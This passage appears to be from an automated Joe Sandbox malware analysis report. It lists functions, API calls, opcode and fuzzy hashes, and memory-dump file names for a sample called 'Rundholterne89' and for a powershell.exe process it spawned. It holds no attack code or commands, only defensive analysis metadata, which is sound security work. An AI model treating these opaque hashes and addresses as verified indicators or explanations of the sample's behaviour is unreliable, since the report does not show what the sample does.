Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3080008178
Opcode ID: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction ID: 563d0c8124584ba78a4db43b9ec919a88ee2b9567cf051c7da1bb821b6b33a35
Opcode Fuzzy Hash: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction Fuzzy Hash: 48D0A773808D705FF34362109C04B8F6B48CF12740F094062E140A71D0C2780C414BBD

Function 00405907 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405917
lstrcmpiA.KERNEL32(00000000,00000000), ref: 0040592F
CharNextA.USER32(00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405940
lstrlenA.KERNEL32(00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405949

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction ID: 9438e9cad6691fea7f13f8d56426e11099e03f26c07faecbb185dc05f13043cf
Opcode Fuzzy Hash: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction Fuzzy Hash: D5F06236505518FFCB129FA5DC00D9EBBA8EF16360B2540B9F800F7350D674EE01ABA9

Analysis Process: powershell.exePID: 8084, Parent PID: 7992COMMON

Executed Functions

Function 06DCC936 Relevance: 41.8, Strings: 32, Instructions: 1844COMMON

Download Yara Rule

Strings

(fm, xrefs: 06DCD0D8
(fm, xrefs: 06DCCFA1
(fm, xrefs: 06DCDD0A
(fm, xrefs: 06DCCCD0
(fm, xrefs: 06DCDCF4
(fm, xrefs: 06DCE484
(fm, xrefs: 06DCD4B8
(fm, xrefs: 06DCC371
(fm, xrefs: 06DCC27B
(fm, xrefs: 06DCCD9D
(fm, xrefs: 06DCD136
(fm, xrefs: 06DCC76D
(fm, xrefs: 06DCE46E
(fm, xrefs: 06DCE20E
(fm, xrefs: 06DCCE06
(fm, xrefs: 06DCE086
(fm, xrefs: 06DCE1F8
(fm, xrefs: 06DCD03D
(fm, xrefs: 06DCDBFC
(fm, xrefs: 06DCDEFC
(fm, xrefs: 06DCDEEC
(fm, xrefs: 06DCCA10
(fm, xrefs: 06DCCB29
(fm, xrefs: 06DCCBB7
(fm, xrefs: 06DCC707
(fm, xrefs: 06DCC441
(fm, xrefs: 06DCE09C
(fm, xrefs: 06DCDBE6
(fm, xrefs: 06DCCF50
(fm, xrefs: 06DCD45D
(fm, xrefs: 06DCD3C7
(fm, xrefs: 06DCCD3E

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: (fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm
API String ID: 0-4263619562
Opcode ID: f04001f6e1c3f9408cc49974d4087163e9694523ce91009cd67932b11b05cbcb
Instruction ID: 0d84680ab1319549964a893c0847c7aeee240da04dfb03b223852008f6d09330
Opcode Fuzzy Hash: f04001f6e1c3f9408cc49974d4087163e9694523ce91009cd67932b11b05cbcb
Instruction Fuzzy Hash: EE038274E01219CFF764CB54C950BAABBB2BF85310F1084A9D91A6B391CB72ED81CF91

Function 043DE260 Relevance: .7, Instructions: 713COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1858928327.00000000043D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 043D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebe224704c2a66bb7ca3534381884ed902dba47612720d5854ff9cfdb353d937
Instruction ID: e6ac4a5db8ac96c9c2271c6a4c7d620435491edf778ee1658b1ea05110b6829e
Opcode Fuzzy Hash: ebe224704c2a66bb7ca3534381884ed902dba47612720d5854ff9cfdb353d937
Instruction Fuzzy Hash: D5529D75B00B19CFDB25CF64E855BADBBB2BF84304F14859AD40AAB350EB34A985CF41

Function 06DCD716 Relevance: 30.0, Strings: 23, Instructions: 1234COMMON

Download Yara Rule

Strings

(fm, xrefs: 06DCD0D8
(fm, xrefs: 06DCCFA1
(fm, xrefs: 06DCDAF1
(fm, xrefs: 06DCCCD0
(fm, xrefs: 06DCC707
(fm, xrefs: 06DCDA83
(fm, xrefs: 06DCC441
(fm, xrefs: 06DCD819
(fm, xrefs: 06DCD4B8
(fm, xrefs: 06DCC371
(fm, xrefs: 06DCDA22
(fm, xrefs: 06DCCF50
(fm, xrefs: 06DCD45D
(fm, xrefs: 06DCC27B
(fm, xrefs: 06DCCD9D
(fm, xrefs: 06DCD136
(fm, xrefs: 06DCC76D
(fm, xrefs: 06DCD86C
(fm, xrefs: 06DCCE06
(fm, xrefs: 06DCD03D
(fm, xrefs: 06DCD779
(fm, xrefs: 06DCD3C7
(fm, xrefs: 06DCCD3E

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: (fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm
API String ID: 0-3978585136
Opcode ID: 578ae4c5aadbf995f05fe132be1ee9acfc1d489c96f1ac3013c42d2c58ac86a2
Instruction ID: 53cd54f6736ee7d0fee75fdb7d7cb668ebd1f821c9992b5c37f04941e26de309
Opcode Fuzzy Hash: 578ae4c5aadbf995f05fe132be1ee9acfc1d489c96f1ac3013c42d2c58ac86a2
Instruction Fuzzy Hash: 09C2A574E01318DFE764DB54C950BAABBB2BF85310F1084A9D51A6B391CB32ED82CF91

Function 06DC5B52 Relevance: 27.1, Strings: 21, Instructions: 888COMMON

Download Yara Rule

Strings

(fm, xrefs: 06DC5536
(fm, xrefs: 06DC5177
(fm, xrefs: 06DC5F8C
(fm, xrefs: 06DC5918
(fm, xrefs: 06DC5434
(fm, xrefs: 06DC51EE
(fm, xrefs: 06DC5F03
(fm, xrefs: 06DC5EA7
(fm, xrefs: 06DC5342
(fm, xrefs: 06DC5BAF
(fm, xrefs: 06DC57E9
(fm, xrefs: 06DC5CAD
(fm, xrefs: 06DC5F82
(fm, xrefs: 06DC58C3
(fm, xrefs: 06DC5E99
(fm, xrefs: 06DC5C53
(fm, xrefs: 06DC539A
(fm, xrefs: 06DC5EF7
(fm, xrefs: 06DC54DA
(fm, xrefs: 06DC510C
(fm, xrefs: 06DC50A2

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: (fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm
API String ID: 0-3189741695
Opcode ID: 77a0ab440e654a02827c33f82cba83e53234f42bb7276afd033140db15bda1a5
Instruction ID: c6b01753d56d03fd9124682554366ba4b7758fe3785b4a1b2ceb76a1dce40cb8
Opcode Fuzzy Hash: 77a0ab440e654a02827c33f82cba83e53234f42bb7276afd033140db15bda1a5
Instruction Fuzzy Hash: CF826F34E00319CFE764DB54C950BAABBB2AB85310F1485ADD91A6B355CB31FD82CF91

Function 06DC4D30 Relevance: 22.2, Strings: 17, Instructions: 904COMMON

Download Yara Rule

Strings

(fm, xrefs: 06DC5536
(fm, xrefs: 06DC5177
(fm, xrefs: 06DC5918
(fm, xrefs: 06DC5434
(fm, xrefs: 06DC51EE
(fm, xrefs: 06DC5342
(fm, xrefs: 06DC57E9
(fm, xrefs: 06DC57F3
(fm, xrefs: 06DC4EB5
(fm, xrefs: 06DC58C3
(fm, xrefs: 06DC4F6E
(fm, xrefs: 06DC539A
(fm, xrefs: 06DC4F64
(fm, xrefs: 06DC54DA
(fm, xrefs: 06DC510C
(fm, xrefs: 06DC50A2
(fm, xrefs: 06DC4EAB

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: (fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm
API String ID: 0-3050064299
Opcode ID: 6a461212557abe04f24cca89062b3beb2f83a91ed7bdee2fb04fc81eecc5f517
Instruction ID: 6669353ffe11eb9ebaa799fa03d9fd23daf7ee1f5766edb32bb7ef26973fcc5c
Opcode Fuzzy Hash: 6a461212557abe04f24cca89062b3beb2f83a91ed7bdee2fb04fc81eecc5f517
Instruction Fuzzy Hash: 93825E34E00219CFE764DB94C850BAABBB2BB85310F1485ADD51AAB355CB71ED82CF91

Function 06DC4D12 Relevance: 18.3, Strings: 14, Instructions: 825COMMON

Download Yara Rule

Strings

(fm, xrefs: 06DC5536
(fm, xrefs: 06DC5177
(fm, xrefs: 06DC5918
(fm, xrefs: 06DC5434
(fm, xrefs: 06DC51EE
(fm, xrefs: 06DC5342
(fm, xrefs: 06DC57E9
(fm, xrefs: 06DC58C3
(fm, xrefs: 06DC539A
(fm, xrefs: 06DC4F64
(fm, xrefs: 06DC54DA
(fm, xrefs: 06DC510C
(fm, xrefs: 06DC50A2
(fm, xrefs: 06DC4EAB

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: (fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm$(fm
API String ID: 0-4000324069
Opcode ID: e41b3811c2a001086a6775a8d613e7abf4e10c611e93c57960b7cf2422d5bc36
Instruction ID: cefcd546de8098173ee5a63400c99074f4388b302ed44a49e3ebb7e649ad7cb8
Opcode Fuzzy Hash: e41b3811c2a001086a6775a8d613e7abf4e10c611e93c57960b7cf2422d5bc36
Instruction Fuzzy Hash: 8E725E34E00219CFE764DB54C950BAABBB2BB85310F14C5ADD91A6B355CB31ED82CF91

Function 06DCDB6C Relevance: 6.7, Strings: 5, Instructions: 435COMMON

Download Yara Rule

Strings

(fm, xrefs: 06DCDEEC
(fm, xrefs: 06DCE086
(fm, xrefs: 06DCE1F8
(fm, xrefs: 06DCDCF4
(fm, xrefs: 06DCDBE6

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: (fm$(fm$(fm$(fm$(fm
API String ID: 0-656800924
Opcode ID: fa6ab8ac2511881803b95164bc2995a3646fb25a62dc44884fb8a33efebfb24b
Instruction ID: 3d09e0644e559c57d2c7758c85e04bd97ebda1d95668a13643845702a135c8d7
Opcode Fuzzy Hash: fa6ab8ac2511881803b95164bc2995a3646fb25a62dc44884fb8a33efebfb24b
Instruction Fuzzy Hash: A6124BB0E0121ACFEBA4CB54C950BAAB7B2BF45310F1484E9D55AAB381DB71ED81CF51

Function 06DCD960 Relevance: 6.7, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

(fm, xrefs: 06DCDEEC
(fm, xrefs: 06DCE086
(fm, xrefs: 06DCE1F8
(fm, xrefs: 06DCDCF4
(fm, xrefs: 06DCDBE6

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: (fm$(fm$(fm$(fm$(fm
API String ID: 0-656800924
Opcode ID: 44ec02de40ab00b83ffa570c62ca0020df83a526730e2fda8e7a5b8710d93770
Instruction ID: ea668cc30a2f81cb919f002613e6257c2a4cc7b215dcde7253effdb703f13aed
Opcode Fuzzy Hash: 44ec02de40ab00b83ffa570c62ca0020df83a526730e2fda8e7a5b8710d93770
Instruction Fuzzy Hash: 1F124BB0E0121ACFEBA4CB54C940BAAB7B2BF45310F1084E9D55AAB391DB71ED81CF51

Function 06DC3020 Relevance: 3.8, Strings: 2, Instructions: 1306COMMON

Download Yara Rule

Strings

(fm, xrefs: 06DC4251
(fm, xrefs: 06DC4247

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: (fm$(fm
API String ID: 0-231707147
Opcode ID: ca24936a4a3ec81d14384bcb0338615dbb8cc07e77ab2b9a0468a73380b98082
Instruction ID: e0cf945be6b17b8f871d42a2eb11ec577c80e018b5940339491c86d52d0c2a03
Opcode Fuzzy Hash: ca24936a4a3ec81d14384bcb0338615dbb8cc07e77ab2b9a0468a73380b98082
Instruction Fuzzy Hash: 3FB2A535B01349DFEB54CB94C454BA9BBB2BB89314F2580ADD505AF392CB72EC42CB91

Function 087E16C8 Relevance: 3.2, Strings: 2, Instructions: 695COMMON

Download Yara Rule

Strings

(fm, xrefs: 087E1E13
(fm, xrefs: 087E1E09

Memory Dump Source

Source File: 00000002.00000002.1886502430.00000000087E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_87e0000_powershell.jbxd

Similarity

API ID:
String ID: (fm$(fm
API String ID: 0-231707147
Opcode ID: f82e82dc86ec01b13cc8fe1226bfe67230d803a1ab5477f558dbb3a6804aad90
Instruction ID: 82b94002cdf45b8f1b4983fe4a22238bdb8a4f5cbbb1e0ddc05e6cda959c6638
Opcode Fuzzy Hash: f82e82dc86ec01b13cc8fe1226bfe67230d803a1ab5477f558dbb3a6804aad90
Instruction Fuzzy Hash: 6432C635B00204DFEB24CB64C455BAABBF2AF8D612F5580AAE4169F356DB31DC41CBB1

Function 06DC4418 Relevance: 2.9, Strings: 2, Instructions: 373COMMON

Download Yara Rule

Strings

(fm, xrefs: 06DC4543
(fm, xrefs: 06DC4539

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: (fm$(fm
API String ID: 0-231707147
Opcode ID: 58f6b2036fbd0b53ff5671442e834277e436d30e6a4b22dbdd3f6eb403103fe6
Instruction ID: f41de683e56124efb7a3827e19eda7b52719f1d07454e06de9c47866ac2b23e6
Opcode Fuzzy Hash: 58f6b2036fbd0b53ff5671442e834277e436d30e6a4b22dbdd3f6eb403103fe6
Instruction Fuzzy Hash: CBE19134F00209DFEB54DBA4C464BAEBBF2AF89310F258069D5056F396CB75EC428B95

Function 06DC4131 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

(fm, xrefs: 06DC4247

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: (fm
API String ID: 0-3245611568
Opcode ID: 85e36da75f6dc05874b0e30d26d9c202a3c852a1071ce3269b753d0a4f2ac8e4
Instruction ID: c1b39ec1193d2b774725ea24fe2240e68ce08ed329ecfd1ada31bb1b523ac179
Opcode Fuzzy Hash: 85e36da75f6dc05874b0e30d26d9c202a3c852a1071ce3269b753d0a4f2ac8e4
Instruction Fuzzy Hash: 8B227F74A00345DFEB54CB94C454BA9BBB2BB89314F25C0ADE9199F352CB72EC42CB91

Function 087E1C38 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

(fm, xrefs: 087E1E09

Memory Dump Source

Source File: 00000002.00000002.1886502430.00000000087E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_87e0000_powershell.jbxd

Similarity

API ID:
String ID: (fm
API String ID: 0-3245611568
Opcode ID: 7c4f7b07e1e9f98331ecc990eb5cf66a87456a20ee60c70c5156d5aa0f127fc6
Instruction ID: f1f78d720354826f5d41ffaa4765c00a7af4a80826653d05f5f7404f95d14765
Opcode Fuzzy Hash: 7c4f7b07e1e9f98331ecc990eb5cf66a87456a20ee60c70c5156d5aa0f127fc6
Instruction Fuzzy Hash: 8B812E74A00204DFDB14CF54C595E9ABBB2EF8C316F558199E819AB365CB32EC81CBB1

Function 06DC33A4 Relevance: .8, Instructions: 849COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e3566a7807966384a2024a82239d4a7dd15236ffc63f453e2eea14550639a29
Instruction ID: b8863fdc2ae29b0693225bfca150653d1364ecd4118fc472d670d491ca8bee30
Opcode Fuzzy Hash: 5e3566a7807966384a2024a82239d4a7dd15236ffc63f453e2eea14550639a29
Instruction Fuzzy Hash: 49726175A01344DFEB54CB94C450BA9BBB2BB49314F2580ADE9096F392CB72ED42CF91

Function 06DC87C8 Relevance: .6, Instructions: 599COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffff391a6197adfff014a578e07b022d10eea953135497794c5b388474f1a7b1
Instruction ID: d46b3c5d9e3225740221d8607e33856c34e7efc104de2d475ac90591b300bb51
Opcode Fuzzy Hash: ffff391a6197adfff014a578e07b022d10eea953135497794c5b388474f1a7b1
Instruction Fuzzy Hash: 99123C31F0431A9FE7658B688800F6ABFA2AFC5220F14847ED546DF292DF71C841D7A6

Function 06DC1148 Relevance: .6, Instructions: 594COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f4ef048b8afad607cb1ed5aa42d9536eec646e2150224fc9a86b9ea76898c15
Instruction ID: 30c00d1a39451701e0692be476c2123d42f600d57f8ca6c532f8831ff465b02b
Opcode Fuzzy Hash: 9f4ef048b8afad607cb1ed5aa42d9536eec646e2150224fc9a86b9ea76898c15
Instruction Fuzzy Hash: 0E326274B012199FF754CB98C854F6ABBF2AF85714F1480A9E505AF392CB72EC42CB91

Function 087F0868 Relevance: .4, Instructions: 430COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1886537386.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_87f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43049cc204c09870bf3478e6018f55ffc03b2daa240ccf080c62e0deec24c2f9
Instruction ID: bae5c49eedecfeeb11991d45b684c013eea401a9c888999da04ea321a70fbfac
Opcode Fuzzy Hash: 43049cc204c09870bf3478e6018f55ffc03b2daa240ccf080c62e0deec24c2f9
Instruction Fuzzy Hash: E4023074A00609DFDB15CF59D884A9DBBB2FF88310F248169E905AB366C771EC81CFA0

Function 06DC2CC0 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 451d969ec53f9070a3f69658db1eb52980a99fdd302fa2dbd4d5bcc33013b2b9
Instruction ID: 57e30763d28f5fe868fc4bf8ee37eb29e09ae65056bff10a13f2dd58c7ed2f7d
Opcode Fuzzy Hash: 451d969ec53f9070a3f69658db1eb52980a99fdd302fa2dbd4d5bcc33013b2b9
Instruction Fuzzy Hash: 77912D31B0031EAFEB659B69C44477ABBA5AFC4320F24846DD846EB392DB31DD41C7A1

Function 043D731A Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1858928327.00000000043D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 043D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70f92749fa3d24fd044f5a9d09cea59665df282adeb8db909851e445d01f86fa
Instruction ID: cd5e9b9aaf32ed40ff7fbd5441319219537ed0ec0512f1867d25d68263f90937
Opcode Fuzzy Hash: 70f92749fa3d24fd044f5a9d09cea59665df282adeb8db909851e445d01f86fa
Instruction Fuzzy Hash: 92A16E36A00208DFDB14DFA4E544AADBBB2FF84310F119559E806AF365DB74AD49CF80

Function 06DC6260 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc83079725875d0f36357fbe7e75c96ad9b4a028529eaa06226e1bb982abca9c
Instruction ID: d361cdc2c28d055591ab94bfe17409f511a8b8c14dbc20e55425616768354f2b
Opcode Fuzzy Hash: cc83079725875d0f36357fbe7e75c96ad9b4a028529eaa06226e1bb982abca9c
Instruction Fuzzy Hash: DC714C35B0825ADFEB609B6884103BBFBF1AFC9260F18847ED446DB242DB35D941C7A1

Function 06DC0840 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3702cbc112588a52d63c024e757c117d437a1cec98b436be7782124efece86c2
Instruction ID: f97e1815c2ae905b4ae63416ab52f3d5f74fd4c43e4bd648f0da2f240c1c72bb
Opcode Fuzzy Hash: 3702cbc112588a52d63c024e757c117d437a1cec98b436be7782124efece86c2
Instruction Fuzzy Hash: FB710A35F0021ADFEB649B7988007AAB7A5AFC4220F24C56EC556EB341DB36D941C7E1

Function 043D2AA0 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1858928327.00000000043D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 043D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f8238083b554a27868bddd2edf7afa0ba6cb1ac0f2268b168deced541549eba
Instruction ID: 12ec29c7a2b2c2193a378d93571753ff9a765583668902f9b433e48cbefaa3ce
Opcode Fuzzy Hash: 5f8238083b554a27868bddd2edf7afa0ba6cb1ac0f2268b168deced541549eba
Instruction Fuzzy Hash: 33919075A002058FCB15CF59D494AAEFBB1FF88310B248599D916AB3A5C736FC91CFA0

Function 087F0E28 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1886537386.00000000087F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_87f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0080d68e69476b9ec4ad006e996cb7b6734ad8d2d3bc1fd4d1d8911af4b4950d
Instruction ID: 2c1670f46516263a3f0122fbad945eb80a275f1c12d12575085c10e2e29e689c
Opcode Fuzzy Hash: 0080d68e69476b9ec4ad006e996cb7b6734ad8d2d3bc1fd4d1d8911af4b4950d
Instruction Fuzzy Hash: 4B711B34A093C59FD707CB68C89499ABFB1EF46250B1941E6E841EB3A7C335DC46CBA1

Function 043D7BD6 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1858928327.00000000043D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 043D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d411b72d63f3634c2244336eea8018fbe1e0961fe674efab4c7304e6bb5903b
Instruction ID: 14d597609ebcb2605a4da2450b3f8fd8288f7f0c02cd612d99b417b54d5204c3
Opcode Fuzzy Hash: 9d411b72d63f3634c2244336eea8018fbe1e0961fe674efab4c7304e6bb5903b
Instruction Fuzzy Hash: 33713831E00208DFDB15DFA5E484BADBBB2BF88304F149569E406AB7A0DB70AD45CB91

Function 043D7A53 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1858928327.00000000043D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 043D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cb50a54f0fffa42c97af1edd1bdf2308596b2cabd0e3a8f05757e56f64edc22
Instruction ID: ea894fc558ff900a260bd0c05329fbf32cf3834bff1fa88054f816ed1600bde0
Opcode Fuzzy Hash: 2cb50a54f0fffa42c97af1edd1bdf2308596b2cabd0e3a8f05757e56f64edc22
Instruction Fuzzy Hash: 21619D31A003089FDB14DF69D884ADEBBB6FF84314F14C969D406AB791DB71AD46CB90

Function 06DC0B48 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1881561194.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

